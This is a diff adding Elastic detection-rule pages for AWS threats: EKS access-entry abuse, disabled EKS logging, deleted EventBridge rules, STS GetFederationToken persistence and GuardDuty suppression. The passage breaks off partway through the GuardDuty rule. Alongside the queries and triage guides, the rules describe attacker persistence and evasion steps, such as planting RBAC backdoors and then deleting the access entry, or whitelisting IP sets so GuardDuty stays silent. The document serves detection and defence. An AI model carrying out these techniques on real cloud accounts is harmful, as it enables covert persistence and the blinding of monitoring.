a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-eks-access-entry-created-then-deleted-by-same-identity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-eks-access-entry-created-then-deleted-by-same-identity.asciidoc new file mode 100644 index 0000000000..e223b37b7a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-eks-access-entry-created-then-deleted-by-same-identity.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-34-aws-eks-access-entry-created-then-deleted-by-same-identity]] +=== AWS EKS Access Entry Created Then Deleted by Same Identity + +Detects the creation of an Amazon EKS access entry followed by its deletion by the same identity within a short time window. EKS access entries define Kubernetes RBAC-level permissions for IAM principals in an EKS cluster. An adversary with EKS administrative access may temporarily grant themselves cluster access, use those permissions to create Kubernetes RBAC resources (ClusterRoleBindings, ServiceAccounts with privileged roles), and then delete the access entry to hide the evidence of the initial grant while retaining access through the Kubernetes-level backdoor. + +*Rule type*: eql + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/eks/latest/APIReference/API_CreateAccessEntry.html +* https://docs.aws.amazon.com/eks/latest/APIReference/API_DeleteAccessEntry.html +* https://www.wiz.io/blog/new-attack-vectors-emerge-via-recent-eks-access-entries-and-pod-identity-features +* https://securitylabs.datadoghq.com/articles/eks-cluster-access-management-deep-dive/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EKS +* Rule Type: Event Correlation (EQL) +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EKS Access Entry Created Then Deleted by Same Identity* + + +EKS access entries (introduced in EKS API mode) map IAM principals to Kubernetes access policies or allow associating Kubernetes groups to IAM principals. An adversary who obtains `eks:CreateAccessEntry` and `eks:DeleteAccessEntry` permissions can: + +1. Create an access entry for their own IAM principal with cluster-admin level access. +2. Use that access to create persistent Kubernetes RBAC resources (ClusterRoleBindings, privileged ServiceAccounts, rogue DaemonSets). +3. Delete the access entry, removing the CloudTrail evidence of the initial grant while retaining Kubernetes-level access. + +This sequence is analogous to adding a backdoor user, using it, then deleting it to cover tracks. The deletion within a short window of creation is the key behavioral indicator. + + +*Possible investigation steps* + + +- Identify the calling identity from `aws.cloudtrail.user_identity.arn` and the targeted cluster from `aws.cloudtrail.request_parameters`. +- Review Kubernetes audit logs for the affected cluster in the time window between the `CreateAccessEntry` and `DeleteAccessEntry` events. Look for `create` verbs on ClusterRoleBindings, RoleBindings, ServiceAccounts, or DaemonSets. +- Check the cluster's current RBAC configuration for persistent backdoor resources. +- Determine whether the identity had a legitimate reason to create an access entry for the targeted cluster. + + +*False positive analysis* + + +- Infrastructure-as-code and CI/CD pipelines that create and tear down EKS access entries as part of cluster validation — Terraform or eksctl apply/destroy cycles, ephemeral test clusters — will produce this exact sequence. Correlate with the pipeline identity and change records before triaging further. +- Short-lived break-glass or just-in-time administrative access that is granted and revoked by the same operator within minutes is legitimate; confirm against access-request tickets or change approvals. +- Migration tooling that switches clusters between authentication modes may churn access entries in bulk under a single automation role. +- The sequence correlates on the calling identity only, so confirm the `CreateAccessEntry` and `DeleteAccessEntry` events reference the same cluster and principal ARN in the request parameters before treating them as one grant-and-revoke cycle. +- Scope any exceptions by the calling ARN or automation role rather than excluding the behavior globally. + + +*Response and remediation* + + +- Audit all Kubernetes RBAC resources for unauthorized ClusterRoleBindings or privileged ServiceAccounts created in the suspect window. +- Rotate credentials for the calling identity. +- Apply IAM policies restricting `eks:CreateAccessEntry` and `eks:DeleteAccessEntry` to designated EKS administrative roles. + + +==== Setup + + +The AWS integration must be ingesting management events into `logs-aws.cloudtrail-*`. EKS management events are logged by default. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by aws.cloudtrail.user_identity.arn with maxspan=5m + [any where data_stream.dataset == "aws.cloudtrail" and event.provider == "eks.amazonaws.com" and event.action == "CreateAccessEntry" and event.outcome == "success" and aws.cloudtrail.user_identity.arn != null] + [any where data_stream.dataset == "aws.cloudtrail" and event.provider == "eks.amazonaws.com" and event.action == "DeleteAccessEntry" and event.outcome == "success" and aws.cloudtrail.user_identity.arn != null] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-eks-access-entry-granted-cluster-admin-policy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-eks-access-entry-granted-cluster-admin-policy.asciidoc new file mode 100644 index 0000000000..10c3331380 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-eks-access-entry-granted-cluster-admin-policy.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-aws-eks-access-entry-granted-cluster-admin-policy]] +=== AWS EKS Access Entry Granted Cluster Admin Policy + +Detects when the AmazonEKSClusterAdminPolicy or AmazonEKSAdminPolicy is associated with a principal via the EKS Access Entries API. This grants full cluster-admin equivalent access to the specified IAM user or role. Unlike the legacy aws-auth ConfigMap which is only visible in Kubernetes audit logs, Access Entries modifications appear in CloudTrail, providing an additional detection surface. Attackers who have obtained IAM permissions to manage EKS access entries can use this API to backdoor cluster access for persistence, mapping attacker-controlled IAM identities to cluster-admin privileges without modifying any Kubernetes resources. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/eks/latest/userguide/access-entries.html +* https://docs.aws.amazon.com/eks/latest/APIReference/API_AssociateAccessPolicy.html + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Domain: Containers +* Service: AWS EKS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EKS Access Entry Granted Cluster Admin Policy* + + +Successful AssociateAccessPolicy with AmazonEKSClusterAdminPolicy or AmazonEKSAdminPolicy binds highly privileged +Kubernetes access to an IAM principal. Review who invoked the API (user.name, aws.cloudtrail.user_identity fields), +source.ip, user_agent.original, cloud.account.id, and cloud.region. + + +*Possible investigation steps* + + +- Parse aws.cloudtrail.request_parameters and response elements for cluster name, access entry ARN, and policy ARN. +- Confirm whether the IAM principal receiving the policy is expected to have cluster-admin-class access. +- Correlate with other EKS API calls (CreateAccessEntry, UpdateAccessEntry) and with Kubernetes audit activity from + newly authorized principals. +- Compare against change records for migrations from aws-auth or new administrator onboarding. + + +*Response and remediation* + + +- If unauthorized, disassociate the policy or remove the access entry per AWS guidance; audit who can call eks:* + APIs in IAM. +- Rotate credentials for any suspected compromised IAM principal; review organizational SCPs and cluster auth mode. + + +*Additional information* + + +- https://docs.aws.amazon.com/eks/latest/userguide/access-entries.html[Amazon EKS access entries] +- https://docs.aws.amazon.com/eks/latest/APIReference/API_AssociateAccessPolicy.html[AssociateAccessPolicy] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"aws.cloudtrail" and +event.provider:"eks.amazonaws.com" and +event.action:"AssociateAccessPolicy" and +event.outcome:"success" and +aws.cloudtrail.request_parameters:(*AmazonEKSClusterAdminPolicy* or *AmazonEKSAdminPolicy*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-eks-access-entry-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-eks-access-entry-modified.asciidoc new file mode 100644 index 0000000000..6bb1d6928b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-eks-access-entry-modified.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-aws-eks-access-entry-modified]] +=== AWS EKS Access Entry Modified + +Detects successful Amazon EKS Access Entries API operations that create, update, attach, detach, or delete authentication mappings between IAM principals and the cluster. Changes to access entries alter who can authenticate to Kubernetes and what Kubernetes-level permissions they receive, without requiring edits to in-cluster RBAC objects. Unexpected callers or timing may indicate persistence or privilege abuse. Common automation identities (service-linked roles, eksctl, Terraform, CloudFormation role patterns) are excluded to reduce noise; tune further for your deployment pipelines. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/eks/latest/userguide/access-entries.html + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Domain: Containers +* Service: AWS EKS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EKS Access Entry Modified* + + +Review aws.cloudtrail.user_identity (ARN, type), user.name, source.ip, user_agent.original, cloud.account.id, and +cloud.region. Map event.action to intent: new principal (CreateAccessEntry), policy binding changes (AssociateAccessPolicy, +DisassociateAccessPolicy), metadata updates (UpdateAccessEntry), or removal (DeleteAccessEntry). + + +*Possible investigation steps* + + +- Inspect aws.cloudtrail.request_parameters and response_elements for cluster name, principal ARN, and policy ARNs. +- Compare against change management and infrastructure-as-code deploy windows. +- Correlate with Kubernetes audit logs for subsequent API activity from identities tied to the affected access entry. +- Pair with the higher-fidelity rule EKS Access Entry Granted Cluster Admin Policy when AssociateAccessPolicy fires. + + +*Response and remediation* + + +- If unauthorized, revert access entry changes via AWS APIs or console; restrict eks:* permissions and review SCPs. +- Rotate credentials for compromised IAM principals as appropriate. + + +*Additional information* + + +- https://docs.aws.amazon.com/eks/latest/userguide/access-entries.html[Amazon EKS access entries] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"aws.cloudtrail" and event.provider:"eks.amazonaws.com" and +event.action:("CreateAccessEntry" or "AssociateAccessPolicy" or "UpdateAccessEntry" or "DisassociateAccessPolicy" or "DeleteAccessEntry") and +event.outcome:"success" and +not aws.cloudtrail.user_identity.arn:(*AWSServiceRoleForAmazonEKS* or *eksctl* or *terraform* or *AWSCloudFormation*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-eks-control-plane-logging-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-eks-control-plane-logging-disabled.asciidoc new file mode 100644 index 0000000000..a04c24a4b8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-eks-control-plane-logging-disabled.asciidoc @@ -0,0 +1,108 @@ +[[prebuilt-rule-8-19-34-aws-eks-control-plane-logging-disabled]] +=== AWS EKS Control Plane Logging Disabled + +Detects successful Amazon EKS UpdateClusterConfig requests that disable control plane logging. Disabling EKS API server and control plane logs can reduce visibility into cluster activity and may indicate defense evasion following compromised AWS credentials or unauthorized administrative access. EKS control plane logging changes are typically rare and should align with approved maintenance or cost optimization workflows. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/eks/latest/userguide/control-plane-logs.html +* https://docs.aws.amazon.com/eks/latest/APIReference/API_UpdateClusterConfig.html + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Domain: Containers +* Service: AWS EKS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EKS Control Plane Logging Disabled* + + +Review the caller (user.name, aws.cloudtrail.user_identity.arn, type), source.ip, user_agent.original, cloud.account.id, and cloud.region. Confirm which log types were disabled and whether the change aligns with a planned change window. + + +*Possible investigation steps* + + +- Inspect aws.cloudtrail.request_parameters and response elements for cluster name and logging settings. +- Correlate with adjacent EKS and IAM activity from the same principal (access entry changes, iam policy attachments, sts assume events) and with any Kubernetes audit telemetry available. +- Check whether control plane logs stopped ingesting shortly after the change and scope potential visibility gaps. + + +*Response and remediation* + + +- If unauthorized, re-enable EKS control plane logging and restrict IAM permissions that allow eks:UpdateClusterConfig. +- Rotate or revoke compromised credentials and review for additional EKS or IAM persistence changes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"aws.cloudtrail" and +event.provider:"eks.amazonaws.com" and +event.action:"UpdateClusterConfig" and +event.outcome:"success" and +aws.cloudtrail.request_parameters:*logging*enabled=false* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-eventbridge-rule-disabled-or-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-eventbridge-rule-disabled-or-deleted.asciidoc new file mode 100644 index 0000000000..ad08aa4509 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-eventbridge-rule-disabled-or-deleted.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-aws-eventbridge-rule-disabled-or-deleted]] +=== AWS EventBridge Rule Disabled or Deleted + +Identifies when an Amazon EventBridge rule is disabled or deleted. EventBridge rules are commonly used to automate operational workflows and security-relevant routing (for example, forwarding events to Lambda, SNS/SQS, or security tooling). Disabling or deleting a rule can break critical integrations, suppress detections, and reduce visibility. Adversaries may intentionally impair EventBridge rules to disrupt monitoring, delay response, or hide follow-on actions. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/eventbridge/latest/APIReference/API_DeleteRule.html +* https://docs.aws.amazon.com/eventbridge/latest/APIReference/API_DisableRule.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EventBridge +* Tactic: Impact +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal + +*Version*: 215 + +*Rule authors*: + +* Austin Songer +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EventBridge Rule Disabled or Deleted* + + +EventBridge rules define when events are matched and where they are delivered. Disabling or deleting a rule can interrupt +automation, break alerting pipelines, and create blind spots in detection coverage. In security-focused designs, EventBridge +is frequently used to forward CloudTrail findings, Config/Security Hub events, GuardDuty findings, or application security +signals to downstream responders. + +This rule detects successful `DisableRule` or `DeleteRule` actions. Depending on what the affected rule does, this activity +may indicate routine operational work or deliberate impairment of monitoring and response paths. + + +*Possible investigation steps* + + +**Identify the actor and access path** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine which principal performed the change. +- Review `user.name`, `user_agent.original`, and `source.ip` to understand how the action was performed (console vs CLI/SDK/automation) and from where. + +**Confirm what changed and what it impacts** +- Use `aws.cloudtrail.request_parameters` to identify the rule name/ARN and whether the action was `DisableRule` or `DeleteRule`. +- Determine what the rule was used for and assess blast radius: + - Was the rule on a shared event bus or a critical account/region? + - Was it a centralized “security routing” rule that aggregates events from many accounts? + +**Reconstruct timing and sequence** +- Correlate `@timestamp` with surrounding CloudTrail activity for the same actor and the same rule name/ARN. +- Look for companion actions that often occur with impairment attempts: + - IAM changes that expand permissions (`PutRolePolicy`, `AttachRolePolicy`, `UpdateAssumeRolePolicy`, access key creation). + - Changes that disable other telemetry or controls (CloudTrail changes, Config recorder stopped, GuardDuty/Security Hub changes). + - Follow-on actions against sensitive services immediately after the rule was disabled/deleted. + +**Validate authorization and change management** +- Check whether the change aligns with a known deployment, infrastructure-as-code run, or approved change ticket. Confirm with the owning team whether the rule was intentionally disabled/deleted and whether there is a documented replacement. + + +*False positive analysis* + + +- **Planned maintenance and refactoring** + - Rules may be removed during redesign of event patterns, target migrations, or application decommissioning. +- **Infrastructure-as-code or automation** + - CI/CD pipelines and IaC (Terraform/CloudFormation/CDK) can disable/delete rules during drift correction or environment rotation. + + +*Response and remediation* + + +**Restore visibility and business function** +- If the rule is security- or business-critical, restore functionality immediately: + - Re-enable the rule if it was disabled. + - If deleted, recreate it from the last known-good baseline (IaC state, templates, or documented configuration). +- Validate delivery by confirming new matching events reach intended targets (for example, downstream Lambda/SNS/SQS) and that monitoring pipelines resume. + +**Contain potential compromise** +- If the actor is unexpected or the access path is suspicious: + - Restrict the principal’s permissions to EventBridge and related services while you investigate (least-privilege containment). + - Rotate/disable credentials associated with `aws.cloudtrail.user_identity.access_key_id` when applicable. + - For assumed roles, investigate the originating principal and consider temporarily limiting role assumption via IAM conditions or trust policy changes. + +**Scope the incident** +- Pivot in CloudTrail using the same `aws.cloudtrail.user_identity.arn`, access key, and `source.ip` to identify additional EventBridge rule modifications, changes to event buses, permissions, or resource policies that could enable unauthorized routing. +- Determine whether the rule impairment created a monitoring gap and identify the time window of reduced visibility for retrospective review. + +**Hardening and prevention** +- Reduce the likelihood of silent impairment: + - Restrict `events:DisableRule` and `events:DeleteRule` to a small set of administrative roles; use IAM conditions (for example, `aws:PrincipalArn`, `aws:RequestedRegion`, source VPC/IP conditions where appropriate). + - Consider AWS Organizations SCP guardrails in production accounts to limit destructive EventBridge changes. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: events.amazonaws.com + and event.action: (DeleteRule or DisableRule) + and event.outcome: success + and not user_agent.original: (*Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-first-occurrence-of-sts-getfederationtoken-request-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-first-occurrence-of-sts-getfederationtoken-request-by-user.asciidoc new file mode 100644 index 0000000000..6cacccf116 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-first-occurrence-of-sts-getfederationtoken-request-by-user.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-aws-first-occurrence-of-sts-getfederationtoken-request-by-user]] +=== AWS First Occurrence of STS GetFederationToken Request by User + +Identifies the first occurrence of an AWS Security Token Service (STS) GetFederationToken request made by a user. The GetFederationToken API call allows users to request temporary security credentials to access AWS resources. The maximum expiration period for these tokens is 36 hours and they can be used to create a console signin token even for identities that don't already have one. Adversaries may use this API to obtain temporary credentials for persistence and to bypass IAM API call limitations by gaining console access. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ +* https://www.crowdstrike.com/en-us/blog/how-adversaries-persist-with-aws-user-federation/ +* https://medium.com/@adan.alvarez/how-attackers-persist-in-aws-using-getfederationtoken-a-simple-and-effective-technique-used-in-the-987ec1f0bdfe/ + +*Tags*: + +* Domain: Cloud +* Data Source: Amazon Web Services +* Data Source: AWS +* Data Source: AWS STS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS STS + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS First Occurrence of STS GetFederationToken Request by User* + + +AWS Security Token Service (STS) enables users to request temporary credentials for accessing AWS resources. While beneficial for legitimate use, adversaries may exploit this to gain unauthorized access. These credentials will remain active for the duration specified (maximum 36 hours), even if the initial compromised identity is deleted. They can also be used to request a console signin token which allows the adversary to make sensitive IAM API calls which would otherwise be denied with the federation token alone. The detection rule identifies unusual activity by flagging the first instance of a `GetFederationToken` request by a user helping to uncover potential misuse aimed at evading defenses and gaining persistence. + + +*Possible investigation steps* + + +- Review the specific user account associated with the `GetFederationToken` request to determine if the activity aligns with their typical behavior and role within the organization. +- Examine the AWS CloudTrail logs for additional context around the time of the `GetFederationToken` request, looking for any other unusual or suspicious activities by the same user or related accounts. +- Check the `source.ip` and `source.geo` fields of the request to identify if it originates from an expected or unexpected location. +- View the `aws.cloudtrail.response_elements` to find the created `federatedUser.arn`. Investigate the resources accessed by this Federated User to assess if there was any suspicious activity. +- Consult with the requesting user `aws.cloudtrail.user_identity.arn` to verify if the `GetFederationToken` request was legitimate and necessary for their work tasks. + + +*False positive analysis* + + +- Routine administrative tasks by cloud administrators may trigger the rule if they are using `GetFederationToken` for legitimate purposes. To manage this, create exceptions for known administrative accounts that regularly perform these actions. +- Automated scripts or applications that use `GetFederationToken` for legitimate operations might be flagged. Identify these scripts and exclude their associated user accounts from the rule to prevent unnecessary alerts. +- Third-party services integrated with AWS that require temporary credentials might cause false positives. Review and whitelist these services if they are verified and trusted to avoid repeated alerts. +- New employees or contractors accessing AWS resources for the first time may trigger the rule. Implement a process to verify their access requirements and exclude their accounts if their actions are deemed non-threatening. + + +*Response and remediation* + + +- If compromise is verified, attach a policy that denies all actions, effectively preventing any further activity, even from temporary credentials. You can use the AWS-managed policy https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSDenyAll.html[AWSDenyAll]. This ensures that any temporary credentials generated by the compromised user are also blocked, stopping the attacker’s activities. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Conduct a root cause analysis to determine how the `GetFederationToken` request was initiated and identify any potential security gaps or misconfigurations. +- Implement additional monitoring and alerting for `GetFederationToken` requests to detect and respond to similar activities promptly in the future. +- Review and update IAM policies and permissions to ensure that only authorized users have the ability to request temporary credentials, reducing the risk of misuse. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider:sts.amazonaws.com + and event.action:GetFederationToken + and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-guardduty-detection-suppression.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-guardduty-detection-suppression.asciidoc new file mode 100644 index 0000000000..32b0bcd044 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-guardduty-detection-suppression.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-34-aws-guardduty-detection-suppression]] +=== AWS GuardDuty Detection Suppression + +Identifies attempts to suppress or blind Amazon GuardDuty without deleting the detector outright. Adversaries with GuardDuty permissions can create or update a trusted IP set (CreateIPSet/UpdateIPSet) so that traffic from listed addresses is never flagged, tamper with the threat intelligence feed used to generate findings (CreateThreatIntelSet/UpdateThreatIntelSet), or soft-disable the detector via UpdateDetector with Enable set to false. All three techniques leave the detector itself intact, evading detections that only look for detector deletion. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_CreateIPSet.html +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_UpdateIPSet.html +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_CreateThreatIntelSet.html +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_UpdateThreatIntelSet.html +* 